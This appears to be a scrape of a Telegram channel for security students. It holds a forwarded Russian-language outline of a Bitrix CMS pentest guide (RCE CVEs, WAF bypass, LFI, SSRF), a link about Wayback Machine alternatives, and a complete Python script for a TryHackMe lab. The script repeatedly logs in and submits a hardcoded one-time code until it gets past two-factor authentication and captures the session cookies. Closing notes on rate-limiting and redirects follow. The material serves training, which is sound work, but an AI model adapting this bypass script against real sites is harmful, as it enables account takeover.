SecList for CyberStudents
240 subscribers
590 photos
24 videos
211 files
901 links
Think outside the box
Download Telegram
Forwarded from Social Engineering
👨‍💻 Bitrix Ultimate Pentest Guide.

Автор этого материала собрал очень объемный гайд по пентесту CMS Bitrix, который включает в себя большое кол-во техник и различных методов. Вот содержание:

- Основы битриксологии:
Встроенный WAF;
Многосайтовость.
- Определение версии;
-
Множественные эндпоинты для авторизации:
Лайфхак через burp.
- Интересные эндпоинты;
-
Content Spoofing;
-
Account Enumeration;
-
Non-legitimate registration;
-
Open Redirect;
-
XSS уязвимости;
-
SSRF;
-
LFI;
-
RCE:
RCE vote_agent.php (CVE-2022-27228);
RCE html_editor_action.php;
RCE Landing;
CVE-2022-29268 (Rejected).
- BDU:2024-01501:
Reflected XSS;
Local File Read.
- WAF Bypass;
-
LPE;
-
Bitrix24:
XSS bitrix 24;
CVE-2022-43959;
CVE-2023-1713;
CVE-2023-1714;
CVE-2023-1718.
- Уязвимые модули:
Реестр уязвимостей сторонних модулей;
Директория /local/;
Структура самописного модуля;
Aspro;
Интернет-магазины;
Корпоративные сайты;
Отраслевые сайты;
Устаревшие модули;
RCE by Insecure deserialization;
- Поиск интересных директорий и файлов.
-
Сканер под bitrix - “huitrix”:
Структура сканера:
Fast scan;
Full Scan;
Detect Version;
Entrance Finder;
RCE modules;
Enum Bitrix Users;
Spawn Bitrix User;
Detect custom modules.
- References:
Github;
BDU;
Habr & Telegra.ph;
Telegram;
Other.

https://pentestnotes.ru/notes/bitrix_pentest_full

S.E. ▪️ infosec.work ▪️ VT
Please open Telegram to view this post
VIEW IN TELEGRAM
Wayback Machine Alternatives

Many of the tools in the list are primarily aimed at preserving pages. However, you can try searching for data saved by others using Google: "keyword site:pagefreezer.com" (similarly for other tools domains).

https://www.link-assistant.com/news/wayback-machine-alternatives.html
import requests

# Define the URLs for the login, 2FA process, and dashboard
login_url = 'https://mfa.thm/labs/third/'
otp_url = 'https://mfa.thm/labs/third/mfa'
dashboard_url = 'https://mfa.thm/labs/third/dashboard'

# Define login credentials
credentials = {
'email': '[email protected]',
'password': 'test123'
}

# Define the headers to mimic a real browser
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://mfa.thm',
'Connection': 'close',
'Referer': 'https://mfa.thm/labs/third/mfa',
'Upgrade-Insecure-Requests': '1'
}

# Function to check if the response contains the login page
def is_login_successful(response):
return "User Verification" in response.text and response.status_code == 200

# Function to handle the login process
def login(session):
response = session.post(login_url, data=credentials, headers=headers)
return response

# Function to handle the 2FA process
def submit_otp(session, otp):
# Split the OTP into individual digits
otp_data = {
'code-1': otp[0],
'code-2': otp[1],
'code-3': otp[2],
'code-4': otp[3]
}

response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False) # Disable auto redirects
print(f"DEBUG: OTP submission response status code: {response.status_code}")

return response

# Function to check if the response contains the login page
def is_login_page(response):
return "Sign in to your account" in response.text or "Login" in response.text

# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
otp_str = '1337' # Hardcoded OTP

while True: # Keep trying until success
session = requests.Session() # Create a new session object for each attempt
login_response = login(session) # Log in before each OTP attempt

if is_login_successful(login_response):
print("Logged in successfully.")
else:
print("Failed to log in.")
continue

print(f"Trying OTP: {otp_str}")

response = submit_otp(session, otp_str)

# Check if the response is the login page (unsuccessful OTP)
if is_login_page(response):
print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
continue # Retry login and OTP submission

# Check if the response is a redirect (status code 302)
if response.status_code == 302:
location_header = response.headers.get('Location', '')
print(f"Session cookies: {session.cookies.get_dict()}")

# Check if it successfully bypassed 2FA and landed on the dashboard
if location_header == '/labs/third/dashboard':
print(f"Successfully bypassed 2FA with OTP: {otp_str}")
return session.cookies.get_dict() # Return session cookies after successful bypass
elif location_header == '/labs/third/':
print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
else:
print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
else:
print(f"Received status code {response.status_code}. Retrying...")

# Start the attack to try until success
try_until_success()
SecList for CyberStudents
import requests # Define the URLs for the login, 2FA process, and dashboard login_url = 'https://mfa.thm/labs/third/' otp_url = 'https://mfa.thm/labs/third/mfa' dashboard_url = 'https://mfa.thm/labs/third/dashboard' # Define login credentials credentials =…
Rate-Limiting and Lockout Policies

To prevent attackers from repeatedly attempting to bypass 2FA, the application may have rate-limiting or lockout mechanisms in place that trigger after a set number of failed attempts, reverting the user to the initial login step.

Security-Driven Redirection

Some applications are designed to redirect users back to the login page after multiple failed 2FA attempts as an additional security measure, ensuring that the user's credentials are revalidated before allowing another 2FA attempt.

Manually creating an automation script for the attack offers more flexibility than using a single tool like ZAP or Burp Suite. You can customize your scripts to test specific scenarios, such as using different IP addresses or user agents or varying the timing between requests.

Recomendation from tryhackme

#tryhackme #OTP #bypass #bugbounty